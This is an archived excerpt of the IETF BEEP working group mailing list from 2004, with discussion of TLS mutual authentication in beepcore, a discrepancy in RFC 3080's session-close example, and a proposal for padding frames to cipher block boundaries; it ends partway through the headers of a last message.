X-Envelope-From: dxin@ncsa.uiuc.edu
X-Envelope-To: <beepwg@lists.beepcore.org>
Received: from osage.ncsa.uiuc.edu (osage.ncsa.uiuc.edu [141.142.2.56])
	by mail.ncsa.uiuc.edu (8.11.7/8.11.7) with ESMTP id i4QM0Kx28166
	for <beepwg@lists.beepcore.org>; Wed, 26 May 2004 17:00:20 -0500
Received: from localhost (dxin@localhost)
	by osage.ncsa.uiuc.edu (8.11.7/8.11.6) with ESMTP id i4QM0JD13703
	for <beepwg@lists.beepcore.org>; Wed, 26 May 2004 17:00:19 -0500
Date: Wed, 26 May 2004 17:00:19 -0500 (CDT)
From: Dong Xin <dxin@ncsa.uiuc.edu>
To: beepwg@lists.beepcore.org
Message-ID: <Pine.LNX.4.44.0405261656160.12231-100000@osage.ncsa.uiuc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-NCSA-MailScanner-Information: Please contact the help@ncsa.uiuc.edu for more information
X-NCSA-MailScanner: Found to be clean
Subject: [BEEPwg] TLS with mutual authentication
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

Hi

	My question is how to start TLS between server and client with 
mutual authentication? How can I specify certificate for client and 
server side? 

Thanks,
Dong


From lzhang@juniper.net Wed May 26 15:37:43 2004
Received: from colo-dns-ext2.juniper.net (colo-dns-ext2.juniper.net [207.17.137.64])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i4QMbXLQ027160
	for <beepwg@lists.beepcore.org>; Wed, 26 May 2004 15:37:33 -0700 (PDT)
Received: from merlot.juniper.net (merlot.juniper.net [172.17.27.10])
	by colo-dns-ext2.juniper.net (8.12.3/8.12.3) with ESMTP id i4QMbSBm063890;
	Wed, 26 May 2004 15:37:28 -0700 (PDT)
	(envelope-from lzhang@juniper.net)
Received: from juniper.net (lzhang-bsd.juniper.net [172.17.20.151])
	by merlot.juniper.net (8.11.3/8.11.3) with ESMTP id i4QMbSJ83061;
	Wed, 26 May 2004 15:37:28 -0700 (PDT)
	(envelope-from lzhang@juniper.net)
Message-ID: <40B51C28.70807@juniper.net>
Date: Wed, 26 May 2004 15:37:28 -0700
From: Lei Zhang <lzhang@juniper.net>
User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:0.9.8) Gecko/20020206
X-Accept-Language: en-us
MIME-Version: 1.0
To: Dong Xin <dxin@ncsa.uiuc.edu>
CC: beepwg@lists.beepcore.org
Subject: Re: [BEEPwg] TLS with mutual authentication
References: <Pine.LNX.4.44.0405261656160.12231-100000@osage.ncsa.uiuc.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

Dong Xin wrote:

>Hi
>
>	My question is how to start TLS between server and client with 
>mutual authentication? How can I specify certificate for client and 
>server side? 
>
>Thanks,
>Dong
>
I think the RFC's mentioning of using serverName to specify server side 
certificate is really not a good solution.  This is what I plan to do 
for my BEEP implementation:

-  the server can take a command line option that points to a X.509 
certificate
-  on the client side, in order to really verify the certificate, the 
server certificate must be copied to the client machine, then the client 
machine can take a command line option that points to this known 
server-side certificate
-  client starts TLS channel, SSL handshake starts, the server sends the 
certificate and the client verifies it
-  the client can take another command line option that points to a 
local certificate; if this is specified, then client certificate will be 
verified by server (the client-side certificate must be loaded on the 
server machine as pre-requisite)

By doing this, it seems the only need for further authentication using 
SASL would be access-control.

Sane?
Lei


From dxin@ncsa.uiuc.edu Thu May 27 08:47:44 2004
Received: from mail.ncsa.uiuc.edu (mail.ncsa.uiuc.edu [141.142.2.28])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i4RFj3LQ011285
	for <beepwg@lists.beepcore.org>; Thu, 27 May 2004 08:45:03 -0700 (PDT)
X-Envelope-From: dxin@ncsa.uiuc.edu
Received: from osage.ncsa.uiuc.edu (osage.ncsa.uiuc.edu [141.142.2.56])
	by mail.ncsa.uiuc.edu (8.11.7/8.11.7) with ESMTP id i4RFigx28150;
	Thu, 27 May 2004 10:44:42 -0500
Received: from localhost (dxin@localhost)
	by osage.ncsa.uiuc.edu (8.11.7/8.11.6) with ESMTP id i4RFieD15961;
	Thu, 27 May 2004 10:44:40 -0500
Date: Thu, 27 May 2004 10:44:40 -0500 (CDT)
From: Dong Xin <dxin@ncsa.uiuc.edu>
To: Lei Zhang <lzhang@juniper.net>
cc: beepwg@lists.beepcore.org
Subject: Re: [BEEPwg] TLS with mutual authentication
In-Reply-To: <40B51C28.70807@juniper.net>
Message-ID: <Pine.LNX.4.44.0405271020040.13932-100000@osage.ncsa.uiuc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-NCSA-MailScanner-Information: Please contact the help@ncsa.uiuc.edu for more information
X-NCSA-MailScanner: Found to be clean
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

Thanks a lot, Lei.
However, I am a new user of beepcore. It will be great if you can explain
more.

I think the RFC's mentioning of using serverName to specify server side 
> certificate is really not a good solution.  This is what I plan to do 
> for my BEEP implementation:
> 
> -  the server can take a command line option that points to a X.509 
> certificate

What is the "command line option", Is this command line option specified
in config files? what's the format of this specification?

> -  on the client side, in order to really verify the certificate, the 
> server certificate must be copied to the client machine, then the client 
> machine can take a command line option that points to this known 
> server-side certificate
> -  client starts TLS channel, SSL handshake starts, the server sends the 
> certificate and the client verifies it

why does the server need to send the certificate? Is a message signed by
a private key not enough?

> -  the client can take another command line option that points to a 
> local certificate; if this is specified, then client certificate will be 
> verified by server (the client-side certificate must be loaded on the 
> server machine as pre-requisite)
> 
> By doing this, it seems the only need for further authentication using 
> SASL would be access-control.
> 
> Sane?
> Lei
>

I do not know whether the  mutual authentication is already supported by
beepcore.tls or we have to implemented it in our application.

Thanks..
Dong



From mrm@kazeon.com Sun May 30 16:14:49 2004
Received: from kazeon.com (mail.kazeon.com [209.172.74.40])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i4UN5bA7015270
	for <beepwg@lists.beepcore.org>; Sun, 30 May 2004 16:05:37 -0700 (PDT)
X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0
Content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Date: Sun, 30 May 2004 16:05:30 -0700
Message-ID: <4E022DDAB8F45741914ACD6EDFE2309B18D3C2@BIGFOOT.kazeon.local>
X-MS-Has-Attach: 
X-MS-TNEF-Correlator: 
Thread-Topic: How many ways express session closure?
Thread-Index: AcRGmppUWUtasibwQKOjRhoDC+kgbQ==
From: "Michael MacFaden" <mrm@kazeon.com>
To: <beepwg@lists.beepcore.org>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by qawoor.dbc.mtview.ca.us id i4UN5bA7015270
Subject: [BEEPwg] How many ways express session closure?
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

Hi,

RFC 3080 section 2.4 page 26 example does not include the number
attribute.
Yet the text indicates otherwise:

   When a BEEP peer wants to release the BEEP session, it sends a
   "close" element with a zero-valued "number" attribute on channel
   zero.  The other BEEP peer indicates its willingness by sending an
   "ok" element in a positive reply, e.g.,

       C: MSG 0 1 . 52 60
       C: Content-Type: application/beep+xml
       C:
       C: <close code='200' />
       C: END

So what should it be? 

I looked at two C source implementations that expect the number
attribute.
Sorry if this is a duplicate but I didn't see a prior discussion in this
list.

Thanks,
Mike MacFaden
Kazeon Systems, Inc



From mrose@dbc.mtview.ca.us Sun May 30 18:34:50 2004
Received: from miz-mishtal.dbc.mtview.ca.us (miz-mishtal.dbc.mtview.ca.us [64.168.10.250])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i4V1UCA7016781
	for <beepwg@lists.beepcore.org>; Sun, 30 May 2004 18:30:12 -0700 (PDT)
Received: from [IPv6:::1] (localhost [127.0.0.1])
	by miz-mishtal.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i4V1RnGW018199;
	Sun, 30 May 2004 18:27:49 -0700 (PDT)
In-Reply-To: <4E022DDAB8F45741914ACD6EDFE2309B18D3C2@BIGFOOT.kazeon.local>
References: <4E022DDAB8F45741914ACD6EDFE2309B18D3C2@BIGFOOT.kazeon.local>
Mime-Version: 1.0 (Apple Message framework v618)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <BA3E96EC-B2A1-11D8-A4C5-000A95CA7FAE@dbc.mtview.ca.us>
Content-Transfer-Encoding: 7bit
Cc: <beepwg@lists.beepcore.org>
From: Marshall Rose <mrose@dbc.mtview.ca.us>
Subject: Re: [BEEPwg] How many ways express session closure?
Date: Sun, 30 May 2004 18:27:49 -0700
To: "Michael MacFaden" <mrm@kazeon.com>
X-Mailer: Apple Mail (2.618)
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

On May 30, 2004, at 16:05, Michael MacFaden wrote:

> RFC 3080 section 2.4 page 26 example does not include the number
> attribute.
> Yet the text indicates otherwise:

looking at the DTD, it indicates that the default for the channel 
attribute is zero.

/mtr


From dxin@ncsa.uiuc.edu Fri Jun  4 14:55:09 2004
Received: from mail.ncsa.uiuc.edu (mail.ncsa.uiuc.edu [141.142.2.28])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i54LkdA7006465
	for <beepwg@lists.beepcore.org>; Fri, 4 Jun 2004 14:46:39 -0700 (PDT)
X-Envelope-From: dxin@ncsa.uiuc.edu
X-Envelope-To: <beepwg@lists.beepcore.org>
Received: from osage.ncsa.uiuc.edu (osage.ncsa.uiuc.edu [141.142.2.56])
	by mail.ncsa.uiuc.edu (8.11.7/8.11.7) with ESMTP id i54LkUx18425
	for <beepwg@lists.beepcore.org>; Fri, 4 Jun 2004 16:46:32 -0500
Received: from localhost (dxin@localhost)
	by osage.ncsa.uiuc.edu (8.11.7/8.11.6) with ESMTP id i54LkUm18573
	for <beepwg@lists.beepcore.org>; Fri, 4 Jun 2004 16:46:30 -0500
Date: Fri, 4 Jun 2004 16:46:30 -0500 (CDT)
From: Dong Xin <dxin@ncsa.uiuc.edu>
To: beepwg@lists.beepcore.org
Message-ID: <Pine.LNX.4.44.0406041631140.6242-100000@osage.ncsa.uiuc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-NCSA-MailScanner-Information: Please contact the help@ncsa.uiuc.edu for more information
X-NCSA-MailScanner: Found to be clean
Subject: [BEEPwg] PureTLS with mutual authentication
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

Hi,

	I was using PureTLS to achieve mutual authentication.
The code was modified from beepcore-java's example. The key,
certificate and trusted certificate are specified on both side.
After initiation, the startTLS operation executed successfully, and the 
echo channel ran with no problem too. However, when I tried to use 
session.getPeerCredential() (right after startTLS at client side)
to get the credential on the server side,
the method return null. The API said getPeerCredential "may return
null if this session has not been authenticated".
	
	I wonder how to verify that the TLS session has been 
sucessfully created and the mutual authentication is finished? 
I was trying to print out the subject of the certificate on
the other side, is it right to use getPeerCredential()? 

	Thanks a lot...

Dong  


From mrose@dbc.mtview.ca.us Fri Jun  4 17:15:22 2004
Received: from miz-mishtal.dbc.mtview.ca.us (miz-mishtal.dbc.mtview.ca.us [64.168.10.250])
	by qawoor.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i550CNA7007633
	for <beepwg@lists.beepcore.org>; Fri, 4 Jun 2004 17:12:23 -0700 (PDT)
Received: from [IPv6:::1] (localhost [127.0.0.1])
	by miz-mishtal.dbc.mtview.ca.us (8.12.10/8.12.9) with ESMTP id i55068XS009980;
	Fri, 4 Jun 2004 17:06:08 -0700 (PDT)
In-Reply-To: <Pine.LNX.4.44.0406041631140.6242-100000@osage.ncsa.uiuc.edu>
References: <Pine.LNX.4.44.0406041631140.6242-100000@osage.ncsa.uiuc.edu>
Mime-Version: 1.0 (Apple Message framework v618)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Message-Id: <25298DC6-B684-11D8-8A76-000A95CA7FAE@dbc.mtview.ca.us>
Content-Transfer-Encoding: 7bit
Cc: beepwg@lists.beepcore.org
From: Marshall Rose <mrose@dbc.mtview.ca.us>
Subject: Re: [BEEPwg] PureTLS with mutual authentication
Date: Fri, 4 Jun 2004 17:06:08 -0700
To: Dong Xin <dxin@ncsa.uiuc.edu>
X-Mailer: Apple Mail (2.618)
Sender: beepwg-admin@lists.beepcore.org
Errors-To: beepwg-admin@lists.beepcore.org
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Subscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
List-Id: Mailing list for the IETF's BEEP working group <beepwg.lists.beepcore.org>
List-Unsubscribe: <http://lists.beepcore.org/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://lists.beepcore.org/pipermail/beepwg/>

one more time: please send your email to the appropriate mailing list. 
this mailing list is about the beep protocol. your question should go 
the beepcore-java mailing list.


On Jun 04, 2004, at 14:46, Dong Xin wrote:

> Hi,
>
> 	I was using PureTLS to achieve mutual authentication.
> The code was modified from beepcore-java's example. The key,
> certificate and trusted certificate are specified on both side.
> After initiation, the startTLS operation executed successfully, and the
> echo channel ran with no problem too. However, when I tried to use
> session.getPeerCredential() (right after startTLS at client side)
> to get the credential on the server side,
> the method return null. The API said getPeerCredential "may return
> null if this session has not been authenticated".
> 	
> 	I wonder how to verify that the TLS session has been
> sucessfully created and the mutual authentication is finished?
> I was trying to print out the subject of the certificate on
> the other side, is it right to use getPeerCredential()?
>
> 	Thanks a lot...
>
> Dong
>
> _______________________________________________
> BEEPwg mailing list
> BEEPwg@lists.beepcore.org
> http://lists.beepcore.org/mailman/listinfo/beepwg


From jhw@wetware.com Thu Aug  5 22:34:24 2004
Received: from qawoor.dbc.mtview.ca.us (qawoor.dbc.mtview.ca.us
	[64.168.10.251])i765YO5e026164
	for <beepwg@drakken.dbc.mtview.ca.us>; Thu, 5 Aug 2004 22:34:24 -0700
Received: from wetware.com (wetware.wetware.com [199.108.16.1])
	i765U11h009906
	for <beepwg@lists.beepcore.org>; Thu, 5 Aug 2004 22:30:01 -0700 (PDT)
Received: from [208.177.152.17] (helo=[10.0.1.5])
	by wetware.com with esmtp (Exim 4.20)
	id 1BsxIM-0006j8-5E
	for beepwg@lists.beepcore.org; Thu, 05 Aug 2004 22:29:34 -0700
Mime-Version: 1.0 (Apple Message framework v618)
Message-Id: <9F468852-E769-11D8-98CC-000A958FF2FE@wetware.com>
Content-Type: text/plain; charset=WINDOWS-1252; format=flowed
To: BEEP WG <beepwg@lists.beepcore.org>
From: james woodyatt <jhw@wetware.com>
Date: Thu, 5 Aug 2004 22:29:43 -0700
X-Mailer: Apple Mail (2.618)
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by
	drakken.dbc.mtview.ca.us id i765YO5e026164
Subject: [BEEPwg] Cipher block boundaries and the TCP mapping
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 06 Aug 2004 05:34:24 -0000

everyone—

Is it my imagination, or does the TCP mapping for the BEEP protocol not 
specify any way for frames to be spaced properly so that they always 
begin (or end) on a cipher block boundary?  If you wanted to do that, 
would declaring it as a "feature" in the greeting be the right choice?  
What would a specification of this extension look like?


-- 
j h woodyatt <jhw@wetware.com>

From dnew@san.rr.com Fri Aug  6 08:34:24 2004
Received: from qawoor.dbc.mtview.ca.us (qawoor.dbc.mtview.ca.us
	[64.168.10.251])i76FYKja002219
	for <beepwg@drakken.dbc.mtview.ca.us>; Fri, 6 Aug 2004 08:34:24 -0700
Received: from ms-smtp-01-eri0.socal.rr.com (ms-smtp-01-qfe0.socal.rr.com
	[66.75.162.133])i76FTT1h016447
	for <beepwg@lists.beepcore.org>; Fri, 6 Aug 2004 08:29:30 -0700 (PDT)
Received: from san.rr.com (66-27-119-171.san.rr.com [66.27.119.171])
	i76FTO6j027135;	Fri, 6 Aug 2004 08:29:25 -0700 (PDT)
Message-ID: <4113A3D3.904@san.rr.com>
Date: Fri, 06 Aug 2004 08:29:23 -0700
From: Darren New <dnew@san.rr.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US;
	rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: james woodyatt <jhw@wetware.com>
Subject: Re: [BEEPwg] Cipher block boundaries and the TCP mapping
References: <9F468852-E769-11D8-98CC-000A958FF2FE@wetware.com>
In-Reply-To: <9F468852-E769-11D8-98CC-000A958FF2FE@wetware.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Virus-Scanned: Symantec AntiVirus Scan Engine
cc: BEEP WG <beepwg@lists.beepcore.org>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 06 Aug 2004 15:34:25 -0000

james woodyatt wrote:
> Is it my imagination, or does the TCP mapping for the BEEP protocol not 
> specify any way for frames to be spaced properly so that they always 
> begin (or end) on a cipher block boundary?

Is there a need for this to be part of the protocol? There wouldn't seem 
to be. Part of an API, perhaps, but not part of a protocol, I would think.

 >  If you wanted to do that,
> would declaring it as a "feature" in the greeting be the right choice?  
> What would a specification of this extension look like?

That would be a request for the other side to ensure that frames match 
cypher blocks? It would seem to make more sense to make that an option 
of the TLS or SASL profiles, than as an option of the entire session.

Consider, what would be the meaning of this feature if TLS was never 
invoked? What would be the meaning if TLS was already invoked?

-- 
   Darren New / San Diego, CA, USA (PST)
   "You may mail in the form, and wait 4 to 6 weeks, or call us and
    get your answer right over the phone... after being on hold for
    4 to 6 weeks."
From jhw@wetware.com Fri Aug  6 10:44:26 2004
Received: from qawoor.dbc.mtview.ca.us (qawoor.dbc.mtview.ca.us
	[64.168.10.251])i76HiLQK010122
	for <beepwg@drakken.dbc.mtview.ca.us>; Fri, 6 Aug 2004 10:44:26 -0700
Received: from wetware.com (wetware.wetware.com [199.108.16.1])
	i76HZB1h017418
	for <beepwg@lists.beepcore.org>; Fri, 6 Aug 2004 10:35:12 -0700 (PDT)
Received: from [208.177.152.17] (helo=[10.0.1.5])
	by wetware.com with esmtp (Exim 4.20)
	id 1Bt8cU-0004XQ-L8
	for beepwg@lists.beepcore.org; Fri, 06 Aug 2004 10:35:06 -0700
Mime-Version: 1.0 (Apple Message framework v618)
In-Reply-To: <4113A3D3.904@san.rr.com>
References: <9F468852-E769-11D8-98CC-000A958FF2FE@wetware.com>
	<4113A3D3.904@san.rr.com>
Content-Type: text/plain; charset=ISO-2022-JP; format=flowed
Message-Id: <FAE7C713-E7CE-11D8-98CC-000A958FF2FE@wetware.com>
Content-Transfer-Encoding: 7bit
From: james woodyatt <jhw@wetware.com>
Subject: Re: [BEEPwg] Cipher block boundaries and the TCP mapping
Date: Fri, 6 Aug 2004 10:35:16 -0700
To: BEEP WG <beepwg@lists.beepcore.org>
X-Mailer: Apple Mail (2.618)
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Fri, 06 Aug 2004 17:44:27 -0000

On 06 Aug 2004, at 08:29, Darren New wrote:
> james woodyatt wrote:
>> Is it my imagination, or does the TCP mapping for the BEEP protocol 
>> not specify any way for frames to be spaced properly so that they 
>> always begin (or end) on a cipher block boundary?
>
> Is there a need for this to be part of the protocol? There wouldn't 
> seem to be. Part of an API, perhaps, but not part of a protocol, I 
> would think.

I think it specifically needs to be a part of the protocol.  While some 
applications will use content types that can be padded at the tail of 
the entity body before the END\r\n trailer comes, others might not.  
There are also frames that have no payload to pad, e.g. the SEQ frame.

To get the spacing feature I want, I would allow zero or more null 
octets between the end of one BEEP frame and the start of the next BEEP 
frame, limited to no more than the current cipher block size of the 
SASL security layer or the TLS encryption cipher.

>> If you wanted to do that, would declaring it as a "feature" in the 
>> greeting be the right choice?  What would a specification of this 
>> extension look like?
>
> That would be a request for the other side to ensure that frames match 
> cypher blocks?

It could also be regarded as an advertisement to the other side that it 
is permitted to insert padding between frames.

> It would seem to make more sense to make that an option of the TLS or 
> SASL profiles, than as an option of the entire session.

Yeah, but there isn't a way to set an "option" in those profiles.

> Consider, what would be the meaning of this feature if TLS was never 
> invoked? What would be the meaning if TLS was already invoked?

The cipher block size for a session with no TLS and no SASL security 
layer tuning is exactly one octet, and no inter-frame padding would be 
allowed.


$B!=(B $B!h(B

From ghudson@MIT.EDU Fri Aug  6 21:44:28 2004
Received: from qawoor.dbc.mtview.ca.us (qawoor.dbc.mtview.ca.us
	[64.168.10.251])i774iRWE015237
	for <beepwg@drakken.dbc.mtview.ca.us>; Fri, 6 Aug 2004 21:44:28 -0700
Received: from biscayne-one-station.mit.edu (BISCAYNE-ONE-STATION.MIT.EDU
	[18.7.7.80])i774ch1h022929
	for <beepwg@lists.beepcore.org>; Fri, 6 Aug 2004 21:38:43 -0700 (PDT)
Received: from melbourne-city-street.mit.edu (MELBOURNE-CITY-STREET.MIT.EDU
	[18.7.21.86])i774cZW3013788;	Sat, 7 Aug 2004 00:38:35 -0400 (EDT)
Received: from egyptian-gods.mit.edu (EGYPTIAN-GODS.MIT.EDU [18.101.0.162])
	(authenticated bits=56)
	(User authenticated as ghudson@ATHENA.MIT.EDU)i774cYOn015387
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT);
	Sat, 7 Aug 2004 00:38:34 -0400 (EDT)
Received: (from ghudson@localhost) by egyptian-gods.mit.edu (8.12.9)
	id i774cXqH030186; Sat, 7 Aug 2004 00:38:33 -0400
Subject: Re: [BEEPwg] Cipher block boundaries and the TCP mapping
From: Greg Hudson <ghudson@MIT.EDU>
To: james woodyatt <jhw@wetware.com>
In-Reply-To: <9F468852-E769-11D8-98CC-000A958FF2FE@wetware.com>
References: <9F468852-E769-11D8-98CC-000A958FF2FE@wetware.com>
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
Message-Id: <1091853512.16991.405.camel@egyptian-gods.mit.edu>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.4.5 
Date: Sat, 07 Aug 2004 00:38:32 -0400
cc: BEEP WG <beepwg@lists.beepcore.org>
X-BeenThere: beepwg@lists.beepcore.org
X-Mailman-Version: 2.1.1
Precedence: list
List-Id: Mailing list for the IETF's BEEP working group
	<beepwg.lists.beepcore.org>
List-Unsubscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=unsubscribe>
List-Archive: <http://drakken.dbc.mtview.ca.us/pipermail/beepwg>
List-Post: <mailto:beepwg@lists.beepcore.org>
List-Help: <mailto:beepwg-request@lists.beepcore.org?subject=help>
List-Subscribe: <http://drakken.dbc.mtview.ca.us/mailman/listinfo/beepwg>,
	<mailto:beepwg-request@lists.beepcore.org?subject=subscribe>
X-List-Received-Date: Sat, 07 Aug 2004 04:44:29 -0000

On Fri, 2004-08-06 at 01:29, james woodyatt wrote:
> Is it my imagination, or does the TCP mapping for the BEEP protocol not 
> specify any way for frames to be spaced properly so that they always 
> begin (or end) on a cipher block boundary?

Why do you want this?  Don't TLS and SASL mechanisms have their own
padding facilities for encoding short blocks of data?

From jhw@wetware.com Fri Aug  6 22:04:28 2004
Received: from qawoor.dbc.mtview.ca.us (qawoor.dbc.mtview.ca.us
	[64.168.10.251])i7754R7C016449
	for <beepwg@drakken.dbc.mtview.ca.us>; Fri, 6 Aug 2004 22:04:27 -0700
Received: from wetware.com (wetware.wetware.com [199.108.16.1])
	i774x21h023106
	for <beepwg@lists.beepcore.org>; Fri, 6 Aug 2004 21:59:02 -0700 (PDT)
